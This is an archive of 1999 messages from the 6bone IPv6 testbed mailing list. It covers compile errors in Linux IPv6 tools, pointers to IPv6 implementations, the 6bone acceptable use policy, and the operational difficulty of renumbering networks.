From 6bone-owner  Fri Feb 12 16:36:48 1999
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Date: Fri, 12 Feb 1999 19:41:54 -0500
From: John El-Rassi <jelrassi@home.com>
Organization: ProCompute
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To: 6bone@ISI.EDU
Subject: a thanke you and a double question :)
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The Thank you:

TO:      Stig  Venaas
Re:        inet6-apps-0.35  and glibc-2.1
                well it worked . thanks after applying your patch then
added the lines to support.h
                and did some changes to GNUmakfile.config  I was able to
compile and install,
               thanks again.
________________________________________________________


The question:

1)        i'm not sure if i should be asking linux related questions
here at 6bone@isi.edu  ?
            let me know  :)

2)          as for radvd-0.4.2  well it seems to have the same
incompatability problems ??
                it gives the error :

cc -c -g -O2   -I. -DPATH_RADVD_CONF=\"/usr/inet6/etc/radvd.conf\"
-DPATH_RADVD_LOG=\"/var/log/radvd.log\" -DLOG_FACILITY=LOG_DAEMON
-DVERSION=\"0.4.2\" -DINET6=1 device.c
device.c: In function `setup_allrouters_membership':
device.c:163: structure has no member named `ipv6mr_ifindex'
make: *** [device.o] Error 1

and stops right there    any ideas.


well thanks all. :-)


From 6bone-owner  Fri Feb 12 22:56:14 1999
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From: Stig Venaas <venaas@itea.ntnu.no>
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Date: Sat, 13 Feb 1999 07:59:18 +0100
To: John El-Rassi <jelrassi@home.com>, 6bone@ISI.EDU
Subject: Re: a thanke you and a double question :)
References: <36C4CA52.41FF6A2C@home.com>
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On Fri, Feb 12, 1999 at 07:41:54PM -0500, John El-Rassi wrote:

> 1)        i'm not sure if i should be asking linux related questions
> here at 6bone@isi.edu  ?
>             let me know  :)

I'm not sure either. The list linux-ipv6@inner.net might be a
better place.

> 2)          as for radvd-0.4.2  well it seems to have the same
> incompatability problems ??
>                 it gives the error :
> 
> cc -c -g -O2   -I. -DPATH_RADVD_CONF=\"/usr/inet6/etc/radvd.conf\"
> -DPATH_RADVD_LOG=\"/var/log/radvd.log\" -DLOG_FACILITY=LOG_DAEMON
> -DVERSION=\"0.4.2\" -DINET6=1 device.c
> device.c: In function `setup_allrouters_membership':
> device.c:163: structure has no member named `ipv6mr_ifindex'
> make: *** [device.o] Error 1

I see that the source I used when I compiled radvd has been patched
or modified. I can't remember if I found a patch somewhere, and by
whom. I'll diff what I have with the original and put a diff in the
same place. Look for 
ftp.nvg.ntnu.no/venaas/radvd-0.4.2-glibc-2.0.109.diff

Keep in mind though that I've only tested it with 2.0.109. I'll test
it on the 2.1-release soon, and make a 2.1 diff if necessary.

Stig

-- 
Stig Venås                      Tel:    +47 73 59 53 29
NTNU				Fax:    +47 73 59 80 98
ITEA/Nett, Prof. Brochs g. 6
N-7034 Trondheim, Norway	E-mail: venaas@itea.ntnu.no

From 6bone-owner  Mon Feb 15 07:55:38 1999
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From: Projekt Ipv6 <ipv6@gmx.de>
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Subject: Problems by installing inett6-apps
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Hello !

We use S.U.S.E Linux 6.0, Kernel 2.1.131 and gcc Ver.2.7.2.3-5 without
modutils.We are using the Bieriger's HOWTO and got now a problem
installing inet6-apps_0.34. We've got a lot of warnings like

domacro.o: warning: multiple common of `macbuf'
ftp.o: warning: previous common is here

After we installed the apps without error's but with these warnings we
tried to
start a ping to a other PC and got a bus error. What must we do, to
replace these
warnings and/or replace the bus error.

Thanks

Detlef Bruns
Dietmar Saathoff



From 6bone-owner  Mon Feb 15 13:46:30 1999
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To: Projekt Ipv6 <ipv6@gmx.de>
cc: 6bone@ISI.EDU
Subject: Re: Problems by installing inett6-apps 
In-reply-to: Your message of "Mon, 15 Feb 1999 16:55:39 GMT."
             <36C85189.3BE03893@gmx.de> 
X-Copyright: Copyright 1999, Craig Metz, All Rights Reserved.
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Date: Mon, 15 Feb 1999 16:44:55 -0500
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In message <36C85189.3BE03893@gmx.de>, you write:
>We use S.U.S.E Linux 6.0, Kernel 2.1.131 and gcc Ver.2.7.2.3-5 without
>modutils.We are using the Bieriger's HOWTO and got now a problem
>installing inet6-apps_0.34. We've got a lot of warnings like
>
>domacro.o: warning: multiple common of `macbuf'
>ftp.o: warning: previous common is here
>
>After we installed the apps without error's but with these warnings we
>tried to
>start a ping to a other PC and got a bus error. What must we do, to
>replace these
>warnings and/or replace the bus error.

  RTFM under "If you have problems."

  This should be a FAQ...

									-Craig

From 6bone-owner  Tue Feb 16 04:11:18 1999
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Date: Tue, 16 Feb 1999 17:41:53 +0530 (IST)
From: Mathew Joseph <mjoseph@cisco.com>
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To: 6bone@ISI.EDU
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Cc: mjoseph@cisco.com
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Hi all,

Could you let me know
which are the best places
for me to look out
for implementation of IPv6
stacks ?

Thanks
Joseph Mathew


******************************
Cisco Systems Inc.
"The network works, no excuses
******************************

From 6bone-owner  Tue Feb 16 06:42:34 1999
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Date: Tue, 16 Feb 1999 06:19:59 -0800
To: Mathew Joseph <mjoseph@cisco.com>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: Pointers wanted !
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At 05:41 PM 2/16/99 +0530, Mathew Joseph wrote:
>Hi all,
>
>Could you let me know
>which are the best places
>for me to look out
>for implementation of IPv6
>stacks ?

At the moment it's the Implemenations page for the IPng WG:

	<http://playground.sun.com/pub/ipng/html/ipng-implementations.html>


Bob

From 6bone-owner  Tue Feb 16 09:41:28 1999
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Hi there,

Please try this URL:

http://playground.sun.com/pub/ipng/html/ipng-implementations.html

regards,

Peter Ping Xie
==============
Computer Science graduate student
Cal Poly State University, 
SLO, California

On Tue, 16 Feb 1999, Mathew Joseph wrote:

> Hi all,
> 
> Could you let me know
> which are the best places
> for me to look out
> for implementation of IPv6
> stacks ?
> 
> Thanks
> Joseph Mathew
> 
> 
> ******************************
> Cisco Systems Inc.
> "The network works, no excuses
> ******************************
> 
> 


From 6bone-owner  Tue Feb 16 09:47:00 1999
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Date: Tue, 16 Feb 1999 18:43:48 +0100
To: Mathew Joseph <mjoseph@cisco.com>, 6bone@ISI.EDU
From: Michael Ferioli <mferioli@isdnet.net>
Subject: Re: Pointers wanted !
Cc: mjoseph@cisco.com
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At 17:41 16/02/99 +0530, Mathew Joseph wrote:
>Hi all,
>
>Could you let me know
>which are the best places
>for me to look out
>for implementation of IPv6
>stacks ?

Internetworking IPv6 with Cisco Routers, Silvano Gai
ISBN 0-07-022836-1

Invaluable if you are implementing on a Cisco.

I got it in 2 days from Amazon.

Mike


From 6bone-owner  Tue Feb 16 17:52:07 1999
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Date: Tue, 16 Feb 1999 17:51:57 -0800
To: IPv6 Deployment List <deployment@ipv6.org>
From: Bob Fink <fink@es.net>
Subject: 6BONE AUP
Cc: 6BONE List <6bone@ISI.EDU>, NGtrans List <ngtrans@sunroof.eng.sun.com>
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Perry, Jim, Craig, Tony et al,

This will be a bit long winded, but hopefully worth it! 

(For the benefit of the 6bone and ngtrans list folk not on the
deployment@ipv6.org list, my "research and development AUP" comments about
the 6bone have been questioned.)


First, a brief bit of background on the 6bone. The 6bone was created by a
volunteer group of folk "to foster the development testing, and deployment
of IPv6". As some of the participants offerred to host end-site tunnels
and/or carry backbone traffic for those not in their normal user community,
I was sensitive about violating anyone's AUP.

Note that any mention of a research and development AUP was my choice (to
the best of my memory), not that of the early 6bone group (i.e., the ad hoc
meetings held at the IETF) or the current ngtrans group (which now includes
the 6bone activity). I have scanned all the minutes of 6bone meetings held
to date to refresh my memory (I may have passed over something, but doubt it). 


I've also included below the 6bone portion (which I wrote) of the ngtrans
charter:

"4. Coordinate deployment of an IPv6 testbed (known as the 6bone) to assist
in the following: 

- Creation of "practice and experience" informational documents that
capture the experiences of those who have deployed, and are deploying,
various IPv6 technologies. 

- Feedback to various IETF IPv6-related activities, such as the IPng WG,
based on testbed experience, where appropriate. 

- Feedback to various IPv6 product developers, based on testbed experience,
where appropriate. 

- Development of mechanisms and procedures to aid in the transition to
native IPv6, where appropriate. 

- Development of mechanisms and procedures for sharing operational
information to aid in transition and operation of global IPv6 routing."

There is no mention of either a production or non-production disposition,
nor of any specific AUP. It is a testbed that, as the first 6bone meeting's
goal statement said, is "to foster the development testing, and deployment
of IPv6".


I would also note that I have never had anyone (that I can remember) tell
me that my "research and development Acceptable Use Policy (AUP)" mattered
to them. I have had several say that as long as the traffic was low enough
that their own AUPs could accomodate production usage.


Now let's look at RFC 2471, the IPv6 Testing Address Allocation:

1.0 Introduction 

This document describes an allocation plan for IPv6 addresses to be used in
testing IPv6 prototype software. These addresses are temporary and will be
reclaimed in the future. Any IPv6 system using these addresses will have to
renumber at some time in the future. These addresses will not to be
routable in the Internet other than for IPv6 testing.
...

2.0 Address Format

TLA = 0x1FFE = Top-Level Aggregation Identifier 

This is a TLA ID assigned by the IANA for 6bone testing under the auspices
of the IETF IPng Transition Working Group 6bone testbed activity. It is to
be administered by the chair of the 6bone activity (currently Bob Fink
<rlfink@lbl.gov>). The use of this TLA ID is temporary. All users of these
addresses in this TLA ID will be required to renumber at some time in the
future.


Again, no mention is made of any type of AUP. The biggest worry I see here
is that eventually we may have to renumber, and somehow I doubt that this
will be a real problem as long as the 6bone is serving a purpose.


So I conclude that I'm being overly conservative in how I speak of this in
print. IMO, if a 6bone pTLA or pNLA transit is concerned with the nature of
IPv6 6bone traffic they carry, they will take appropriate steps of their
own, and certainly not ones dictated by me.


The conclusion of this is that I will simply remove the mention of a
research and development AUP. In fact it is gone as you read this!

I would also encourage everyone to review any and all of the 6bone pages
and recommend better wording, restructuring etc. We are all in this
together and there are limits to whay one person can do.


Thanks,

Bob




From 6bone-owner  Tue Feb 16 18:15:12 1999
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To: Bob Fink <fink@es.net>
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Subject: Re: 6BONE AUP 
In-reply-to: Your message of "Tue, 16 Feb 1999 17:51:57 PST."
             <4.1.19990216165439.00ae0c10@imap2.es.net> 
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In message <4.1.19990216165439.00ae0c10@imap2.es.net>, you write:
>The conclusion of this is that I will simply remove the mention of a
>research and development AUP. In fact it is gone as you read this!
>
>I would also encourage everyone to review any and all of the 6bone pages
>and recommend better wording, restructuring etc. We are all in this
>together and there are limits to whay one person can do.

  Let me suggest that we make explicitly clear that the 6Bone and 6REN are
experimental services, and subject to interruption or changes (such as
renumbering) without notice.

									-Craig

From 6bone-owner  Tue Feb 16 18:28:53 1999
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Date: Tue, 16 Feb 1999 18:28:43 -0800
To: Craig Metz <cmetz@inner.net>
From: Bob Fink <fink@es.net>
Subject: Re: 6BONE AUP 
Cc: IPv6 Deployment List <deployment@ipv6.org>, 6BONE List <6bone@ISI.EDU>,
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Craig,

At 09:13 PM 2/16/99 -0500, Craig Metz wrote:
>In message <4.1.19990216165439.00ae0c10@imap2.es.net>, you write:
>>The conclusion of this is that I will simply remove the mention of a
>>research and development AUP. In fact it is gone as you read this!
>>
>>I would also encourage everyone to review any and all of the 6bone pages
>>and recommend better wording, restructuring etc. We are all in this
>>together and there are limits to whay one person can do.
>
>  Let me suggest that we make explicitly clear that the 6Bone and 6REN are
>experimental services, and subject to interruption or changes (such as
>renumbering) without notice.

The 6REN initiative participants will renumber as soon as their already
requested Sub-TLAs are issued by the registries. They are only in the 6bone
number space to get their initial native IPv6 peerings tested.

The 6REN is not an experimental service in any way (at least once we
convert to the production numbers), rather concrete commitments from the
participants to provide IPv6 services to their constituents.


Thanks,

Bob

From 6bone-owner  Wed Feb 17 00:31:44 1999
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Date: Wed, 17 Feb 1999 09:31:27 +0100 (MET)
From: "Tesi TLC (G. MazzinI)" <tesi_tlc@ing240.unife.it>
To: 6bone <6bone@ISI.EDU>
Subject: IPv6 with turboways 25 IBM 
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Hello !
We are two students of Italian University !

We would like to know if there is someone which is install
IPv6 over ATM (Linux) with turboways 25 card and swich 8285 IBM ?

We have kernel 2.1.126 (RedHat 5.2), modutils 2.1.121,
glibc 2.0.7, atm patch 0.51, cdc16 (atm drivers for turboways 25)
We are using Bieringer's HOW-TO !

If there are someone ,can he tell us !!

Tanks

Luca & Giancarlo




From 6bone-owner  Wed Feb 17 04:15:14 1999
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Date: Wed, 17 Feb 1999 17:45:39 +0530 (IST)
From: Mathew Joseph <mjoseph@cisco.com>
Message-Id: <199902171215.RAA09710@dosa.cisco.com>
To: pgrosset@cisco.com
Subject: Re: Pointers wanted !
Cc: 6bone@ISI.EDU
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Hi all,

Thanks a lot to
all those out there
in this mailing list
for the tremendous response
I received for "IPng 
implementations"

Thanks once again

Joseph Mathew
******************************
Cisco Systems Inc.
"The network works, no excuses
******************************


From 6bone-owner  Wed Feb 17 08:19:13 1999
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To: Jim Bound <bound@wasted.zk3.dec.com>
Cc: Craig Metz <cmetz@inner.net>, Bob Fink <fink@es.net>,
        IPv6 Deployment List <deployment@ipv6.org>, 6BONE List <6bone@ISI.EDU>
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Date: 17 Feb 1999 11:19:04 -0500
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Jim Bound <bound@wasted.zk3.dec.com> writes:
> Renumbering is inherent in IPv6.  You don't own your IPv6 address you
> provider does.  When you change providers assume you will have to
> renumber.  Also assume if your an early adopter renumbering may take
> place like the 6REN.  Because we have built dynamic renumbering into the
> architecture of IPv6 (a bit more than window dressing again) this is not
> a problem and a way of life.
> 
> Renumbering is not an interruption but a feature of IPv6.

It is a feature, but until we get more users dealing with regular
renumberings a lot of things (from BIND configuration files to router
filter lists) are going to be breaking. It is going to be a while
until all that gets straightened out. I'm not saying, you understand,
that it won't be dealt with -- just that at first it will not be as
smooth as it has to be later on if this is to be used regularly.

We might want to try running "fire drills" on renumbering in the
6bone in order to see what breaks and what gets to be too painful
without fixes if one renumbers regularly.

Perry

From 6bone-owner  Wed Feb 17 08:21:25 1999
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To: bound@wasted.zk3.dec.com (Jim Bound)
Date: Wed, 17 Feb 1999 08:09:28 -0800 (PST)
Cc: cmetz@inner.net, fink@es.net, deployment@ipv6.org, 6bone@ISI.EDU
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> 
> Also another point.
> 
> Renumbering is inherent in IPv6.  You don't own your IPv6 address you
> provider does.  

	A point of clarification Jim.  Nobody owns the addresses.
	They are delegated. When delegated they impose a level of
	responsiblity for use. The delegation may be withdrawn for
	any number of reasons. In some cases a withdrawn delegation
	may be accompanied by a new delegation. (renumbering)  
	This is true across the board.

> When you change providers assume you will have to
> renumber.  Also assume if your an early adopter renumbering may take
> place like the 6REN.  Because we have built dynamic renumbering into the
> architecture of IPv6 (a bit more than window dressing again) this is not
> a problem and a way of life.
> 
> Renumbering is not an interruption but a feature of IPv6.
> 
> /jim
> 
> ---------------------------------------------------------------------
> The IPv6 Deployment Mailing List
> Unsubscribe by sending "unsubscribe deployment" to majordomo@ipv6.org
> 


-- 
--bill

From 6bone-owner  Wed Feb 17 08:31:49 1999
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Date: Wed, 17 Feb 1999 17:29:31 +0100
To: perry@piermont.com
From: Alain Durand <Alain.Durand@imag.fr>
Subject: renumbering (was: 6BONE AUP)
Cc: IPv6 Deployment List <deployment@ipv6.org>, 6BONE List <6bone@ISI.EDU>
References: <Jim Bound's message of "Wed, 17 Feb 1999 11:11:14 -0500">
 <199902171611.LAA0000012551@wasted.zk3.dec.com>
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At 11:19 17/02/99 -0500, Perry E. Metzger wrote:
>We might want to try running "fire drills" on renumbering in the
>6bone in order to see what breaks and what gets to be too painful
>without fixes if one renumbers regularly.

We actualy went through a global renumbering session on the 6bone once,
when we moved from 5F RFC1897 addresses to the new aggregated 3FFE ones.

Transiting my site was not that big a deal. The main issue was to convince
people running 6bone leaf sites to do the job.
The overall process took more than 3 months at the time.

In the RIPE draft paper about IPv6 address allocation, they specify
that you will have 3 months to renumber.

example taken from this draft:
	when an ISP is moving from a sub-TLA to a TLA

> ... The sub-TLA will have 3 months to return the sub-TLA space
> after the TLA has been allocated.

	- Alain.


From 6bone-owner  Wed Feb 17 08:39:05 1999
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Subject: Re: renumbering (was: 6BONE AUP)
References: <Jim Bound's message of "Wed, 17 Feb 1999 11:11:14 -0500">  <199902171611.LAA0000012551@wasted.zk3.dec.com> <199902171631.RAA11771@imag.imag.fr>
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From: "Perry E. Metzger" <perry@piermont.com>
Date: 17 Feb 1999 11:38:52 -0500
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Alain Durand <Alain.Durand@imag.fr> writes:
> At 11:19 17/02/99 -0500, Perry E. Metzger wrote:
> >We might want to try running "fire drills" on renumbering in the
> >6bone in order to see what breaks and what gets to be too painful
> >without fixes if one renumbers regularly.
> 
> We actualy went through a global renumbering session on the 6bone once,
> when we moved from 5F RFC1897 addresses to the new aggregated 3FFE ones.
> 
> Transiting my site was not that big a deal. The main issue was to convince
> people running 6bone leaf sites to do the job.
> The overall process took more than 3 months at the time.
> 
> In the RIPE draft paper about IPv6 address allocation, they specify
> that you will have 3 months to renumber.

In practice, if you have three months, the tools themselves have to
make it possible for someone to accomplish the job in a couple of days 
because they won't, in practice, do much until the last possible
minute.

Renumbering semi-frequently on the 6bone would probably encourage us
to make the tools better and to stop thinking of IP addresses as
stable and permanent. (Look at the world's ntp.conf files if you want
to see where that leads...)

Perry

From 6bone-owner  Wed Feb 17 08:47:38 1999
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To: perry@piermont.com
Date: Wed, 17 Feb 1999 08:39:28 -0800 (PST)
Cc: Alain.Durand@imag.fr, deployment@ipv6.org, 6bone@ISI.EDU
In-Reply-To: <87g185m1cz.fsf@jekyll.piermont.com> from "Perry E. Metzger" at Feb 17, 99 11:38:52 am
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> > We actualy went through a global renumbering session on the 6bone once,
> > when we moved from 5F RFC1897 addresses to the new aggregated 3FFE ones.
> > 
> > Transiting my site was not that big a deal. The main issue was to convince
> > people running 6bone leaf sites to do the job.
> > The overall process took more than 3 months at the time.
> > 
> > In the RIPE draft paper about IPv6 address allocation, they specify
> > that you will have 3 months to renumber.
> 
> In practice, if you have three months, the tools themselves have to
> make it possible for someone to accomplish the job in a couple of days 
> because they won't, in practice, do much until the last possible
> minute.
> 
> Renumbering semi-frequently on the 6bone would probably encourage us
> to make the tools better and to stop thinking of IP addresses as
> stable and permanent. (Look at the world's ntp.conf files if you want
> to see where that leads...)
> 
> Perry

Much of the thinking wrt renumbering went into the abortive PIER wg.
NTP, DNS, SNMP(network mgmt) are all problem areas.  Pop up a level
and things like NFS mount points, Web Caches and SDR/Confctl tools
are also suspect.

I'll point out that the first pass at renumbering the 6bone did not,
for the most part, involve DNS servers. Most of them were (and still are)
only IPv4 aware.

-- 
--bill

From 6bone-owner  Wed Feb 17 12:39:28 1999
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From: Cesar Olvera Morales <cesar@cuk.redes.unam.mx>
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We would like to know if there is someone which is working with
IPv6 in Windows NT?

We need to know how configure a tunnel endpoint.

Thanks

Research and Development
DGSCA, UNAM
Mexico




From 6bone-owner  Wed Feb 17 13:28:17 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'Cesar Olvera Morales'" <cesar@cuk.redes.unam.mx>
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Date: Wed, 17 Feb 1999 13:27:23 -0800
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Hi Cesar, I assume you're using our MSR IPv6 stack? If so the best place for
questions is our mailing list: msripv6-users@list.research.microsoft.com
(send mail to listserv@list.research.microsoft.com to join the list).

Our web site has directions for configuring tunnels. See
http://www.research.microsoft.com/msripv6/6bone.htm.

Rich

> -----Original Message-----
> From: Cesar Olvera Morales [mailto:cesar@cuk.redes.unam.mx]
> Sent: Wednesday, February 17, 1999 12:36 PM
> To: 6bone@ISI.EDU
> Subject: 
> 
> 
> 
> We would like to know if there is someone which is working with
> IPv6 in Windows NT?
> 
> We need to know how configure a tunnel endpoint.
> 
> Thanks
> 
> Research and Development
> DGSCA, UNAM
> Mexico
> 
> 
> 

From 6bone-owner  Thu Feb 18 04:19:44 1999
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Subject: Resouce site...
To: 6bone@ISI.EDU
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	Where can i find information about the aplications already migrated
to work with IPv6??? I´d like to migrate some aplications ( for a study
project) and I would not like work in an aplication already migrated.

	Thanks.
	
-- 
Armando Aguirre Schlick				mailto:lxa@inf.utfsm.cl
Egresado de Ingenieria Civil en Informatica
Universidad Tecnica Federico Santa Maria, Chile
http://www.inf.utfsm.cl/~lxa

From 6bone-owner  Thu Feb 18 08:07:27 1999
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To: IPv6 Deployment List <deployment@ipv6.org>, 6BONE List <6bone@ISI.EDU>,
        ngtrans@sunroof.Eng.Sun.COM
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: (ngtrans) Re: 6BONE AUP 
In-reply-to: Your message of Thu, 18 Feb 1999 09:01:04 EST.
             <14716.919346464@sayshell.corp.us.uu.net> 
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Louie sez ...
> If you really want to demonstrate a compelling reason for ISPs and users
> to begin to deploy IPv6, then I think the 6bone should renumber all the
> sites on a regular basis.

I used to say this when the 6bone was first forming.  It may be just
about time to say it again, eh?

One part of renumbering which hasn't been tackled, though, is
updating filter lists (aka access lists) on routers.  There are
probably some 6bone BGP filters in place here and there which would
take small but non-zero effort to update with each renumbering.
Ideas, anyone?
					Matt

From 6bone-owner  Thu Feb 18 08:47:23 1999
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        ngtrans@sunroof.Eng.Sun.COM
From: Alain Durand <Alain.Durand@imag.fr>
Subject: Re: (ngtrans) Re: 6BONE AUP 
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At 10:07 18/02/99 -0600, Matt Crawford wrote:

>One part of renumbering which hasn't been tackled, though, is
>updating filter lists (aka access lists) on routers.  There are
>probably some 6bone BGP filters in place here and there which would
>take small but non-zero effort to update with each renumbering.
>Ideas, anyone?

They are other places where IP addresses are burried deep.
For example, we use some expensive software controled
by a license server. The server needs a key to operate,
and this key is derived by the software vendor
from... the license server IP address!!!
So each time the server change it's IP address, we have
to go to this specific software vendor to get a new key.

I suggest we try to make a list of some "well known" places
where IP addresses are buried.

On routers:
- Access list (firewall)
- BGP filters

On servers:
- DNS (many places)
- keys for license servers
- ntp configuration file
- /etc/networks ???

On client hosts:
- DNS server address (if not using DHCP)

There is probably more to this.

	- Alain.


From 6bone-owner  Thu Feb 18 08:56:27 1999
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In-Reply-To: <199902181647.RAA00596@imag.imag.fr> from "Alain Durand" at Feb 18, 99 05:45:29 pm
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Most of these places are documented in old PIER drafts.



> 
> At 10:07 18/02/99 -0600, Matt Crawford wrote:
> 
> >One part of renumbering which hasn't been tackled, though, is
> >updating filter lists (aka access lists) on routers.  There are
> >probably some 6bone BGP filters in place here and there which would
> >take small but non-zero effort to update with each renumbering.
> >Ideas, anyone?
> 
> They are other places where IP addresses are burried deep.
> For example, we use some expensive software controled
> by a license server. The server needs a key to operate,
> and this key is derived by the software vendor
> from... the license server IP address!!!
> So each time the server change it's IP address, we have
> to go to this specific software vendor to get a new key.
> 
> I suggest we try to make a list of some "well known" places
> where IP addresses are buried.
> 
> On routers:
> - Access list (firewall)
> - BGP filters
> 
> On servers:
> - DNS (many places)
> - keys for license servers
> - ntp configuration file
> - /etc/networks ???
> 
> On client hosts:
> - DNS server address (if not using DHCP)
> 
> There is probably more to this.
> 
> 	- Alain.
> 
> 


-- 
--bill

From 6bone-owner  Thu Feb 18 09:16:05 1999
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"Matt Crawford" <crawdad@fnal.gov> writes:
> One part of renumbering which hasn't been tackled, though, is
> updating filter lists (aka access lists) on routers.  There are
> probably some 6bone BGP filters in place here and there which would
> take small but non-zero effort to update with each renumbering.
> Ideas, anyone?

The trick is always another layer of indirection. The DNS has provided 
good names for hosts. What we need is a way to name CIDRized blocks of 
addresses cleanly, so that the configurations can use names which
today point at the old addresses and tomorrow point at the new...

Perry

From 6bone-owner  Thu Feb 18 11:48:06 1999
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Subject: Re: Resouce site...
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Armando Aguirre Schlick <lxa@inf.utfsm.cl> writes:
> 	Where can i find information about the aplications already migrated
> to work with IPv6??? I´d like to migrate some aplications ( for a study
> project) and I would not like work in an aplication already migrated.

Try:

http://www.ipv6.org/v6-apps.html

Note that the list is woefully incomplete, but it *does* have some
pointers that are useful.

See also:

http://www.ipv6.org/impl/inria.html

Perry

From 6bone-owner  Thu Feb 18 14:29:36 1999
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To: "Perry E. Metzger" <perry@piermont.com>
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I'm awefully new to the IPv^ ballgame, but isn't there leeway for
dual-homing on the same interface to ease transition from one
prefix to another?

On 18 Feb 1999, Perry E. Metzger wrote:

|
|"Matt Crawford" <crawdad@fnal.gov> writes:
|> One part of renumbering which hasn't been tackled, though, is
|> updating filter lists (aka access lists) on routers.  There are
|> probably some 6bone BGP filters in place here and there which would
|> take small but non-zero effort to update with each renumbering.
|> Ideas, anyone?
|
|The trick is always another layer of indirection. The DNS has provided 
|good names for hosts. What we need is a way to name CIDRized blocks of 
|addresses cleanly, so that the configurations can use names which
|today point at the old addresses and tomorrow point at the new...
|
|Perry
|


_____________________________________________________________________
Michael P. Burton                                         Member:DNRC


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"Michael P. Burton" <mpburton@europa.com> writes:
> I'm awefully new to the IPv^ ballgame, but isn't there leeway for
> dual-homing on the same interface to ease transition from one
> prefix to another?

1) If I add a new prefix in, do I want my filter rules to not apply to 
it, or for it to be blocked by accident?
2) If I add a new prefix in, do I want to burn personel time dealing
with the event?

Perry

From 6bone-owner  Thu Feb 18 14:57:31 1999
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From: "Michael P. Burton" <mpburton@europa.com>
To: "Perry E. Metzger" <perry@piermont.com>
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|"Michael P. Burton" <mpburton@europa.com> writes:
|> I'm awefully new to the IPv^ ballgame, but isn't there leeway for
|> dual-homing on the same interface to ease transition from one
|> prefix to another?
|
|1) If I add a new prefix in, do I want my filter rules to not apply to 
|it, or for it to be blocked by accident?
|2) If I add a new prefix in, do I want to burn personel time dealing
|with the event?
|
|Perry

Well, if it were plug-n-play, then we would all be out of a job, 
wouldn't we? (laugh) Seriously though - I guess it would be the
network admin's job to keep very specific notes on the usage of
access-lists (and other ip number dependent resources) and be
able to make the needed changes in a matter of hours. Another solution
might be a way to "push" new access-list information out to all
routers from an authorative-router. Of course, that would have to rely
on the AH and ESP headers to guarentee no wrong-doing was done...

_____________________________________________________________________
Michael P. Burton                                         Member:DNRC


From 6bone-owner  Thu Feb 18 15:21:11 1999
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"Michael P. Burton" <mpburton@europa.com> writes:
> |2) If I add a new prefix in, do I want to burn personel time dealing
> |with the event?
> 
> Well, if it were plug-n-play, then we would all be out of a job, 
> wouldn't we? (laugh) Seriously though - I guess it would be the
> network admin's job to keep very specific notes on the usage of
> access-lists (and other ip number dependent resources) and be
> able to make the needed changes in a matter of hours.

No. That's really unacceptable. It is fine to automate something like
this and say "the solution is automation" (AFTER you demonstrate said
automation), but it is *not* fine to say "the solution is burning
human cycles". If that is the solution, then we'll never be able to
renumber. There are companies with tens of thousands of machines and
huge numbers of clueless managers. If they spend six hours every week
renumbering, they'll kill us all. More importantly, they'll block the
moves to renumber, which will destroy the whole flexibility the system
is supposed to have.

Perry

From 6bone-owner  Thu Feb 18 15:33:18 1999
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To: "Perry E. Metzger" <perry@piermont.com>
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|"Michael P. Burton" <mpburton@europa.com> writes:
|> |2) If I add a new prefix in, do I want to burn personel time dealing
|> |with the event?
|> 
|> Well, if it were plug-n-play, then we would all be out of a job, 
|> wouldn't we? (laugh) Seriously though - I guess it would be the
|> network admin's job to keep very specific notes on the usage of
|> access-lists (and other ip number dependent resources) and be
|> able to make the needed changes in a matter of hours.
|
|No. That's really unacceptable. It is fine to automate something like
|this and say "the solution is automation" (AFTER you demonstrate said
|automation), but it is *not* fine to say "the solution is burning
|human cycles". If that is the solution, then we'll never be able to
|renumber. There are companies with tens of thousands of machines and
|huge numbers of clueless managers. If they spend six hours every week
|renumbering, they'll kill us all. More importantly, they'll block the
|moves to renumber, which will destroy the whole flexibility the system
|is supposed to have.
|
|Perry

If they have to spend six hours a week renumbering, then there is probably
another major issue to be looked at that they are willing to kill us over.
The whole access-list issue is a difficult one because from my
understanding, IPv6 dosn't deal with it; it is propitary tech. I'm sure
Cisco could come up with a solution for their routers, but if you are
dealing with different kinds of routers, you are going to be pretty hosed.
But admins are going to need to be able to change their addresses on an
"as-needed"  basis, hopefully less than once a year. Do you have a
proposed solution to this issue?

_____________________________________________________________________
Michael P. Burton                                         Member:DNRC


From 6bone-owner  Thu Feb 18 20:58:16 1999
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Subject: Re: Resouce site... 
From: Jun-ichiro itojun Hagino <itojun@itojun.org>
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>> 	Where can i find information about the aplications already migrated
>> to work with IPv6??? I d like to migrate some aplications ( for a study
>> project) and I would not like work in an aplication already migrated.
>Try:
>http://www.ipv6.org/v6-apps.html
>Note that the list is woefully incomplete, but it *does* have some
>pointers that are useful.

	http://www2.kame.net/faq/fom.cgi?file=45 should be useful too.

itojun@i'm back

From 6bone-owner  Thu Feb 18 22:30:34 1999
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From: Robert Elz <kre@munnari.OZ.AU>
To: "Michael P. Burton" <mpburton@europa.com>
Cc: "Perry E. Metzger" <perry@piermont.com>, Matt Crawford <crawdad@fnal.gov>,
        IPv6 Deployment List <deployment@ipv6.org>, 6BONE List <6bone@ISI.EDU>,
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Subject: Re: (ngtrans) Re: 6BONE AUP 
In-Reply-To: Your message of "Thu, 18 Feb 1999 15:33:00 -0800."
             <Pine.GSO.3.96.990218152656.14979L-100000@thetics.europa.com> 
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    Date:        Thu, 18 Feb 1999 15:33:00 -0800 (PST)
    From:        "Michael P. Burton" <mpburton@europa.com>
    Message-ID:  <Pine.GSO.3.96.990218152656.14979L-100000@thetics.europa.com>

  | The whole access-list issue is a difficult one because from my
  | understanding, IPv6 dosn't deal with it; it is propitary tech. I'm sure
  | Cisco could come up with a solution for their routers, but if you are
  | dealing with different kinds of routers, you are going to be pretty hosed.

We don't need to define a scheme that works for cisco (or anyone else's)
routers, but to provide the mechanisms that the router vendors can use to
incorporate into their products.   Right now (as Perry pointed out) there's
no good way to say "SMTP from a uunet dialup address is disallowed",
other than to discover (somehow) the IP address ranges concerned and block
them explicitly.   Because of that, access lists are almost exclusively
written using IP addresses (or IP addresses and masks).   If we can provide
the mechanism to allow such things to be named, we can then lean upon the
vendors to support building access lists from names instead of numbers
(and if we & they do it right, the translations will contain TTLs and
the access lists will be automatically updated as the addresses alter).

  | But admins are going to need to be able to change their addresses on an
  | "as-needed"  basis, hopefully less than once a year. Do you have a
  | proposed solution to this issue?

Note the problem with access lists (and the reason I assume Matt raised it)
is that it isn't my address changes that are of immediate concern.   It is
that other guy's address changes that matter - if uunet decide (or are forced)
to reassign addresses to their dialup customers, then I have a bunch of access
lists I need to update.   This is not a new problem for IPv6, it is just likely
to become more importantthere, as renumbering is likely to happen much more
often (and yes, quite possibly much more often than once a year).

kre


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To: perry@piermont.com
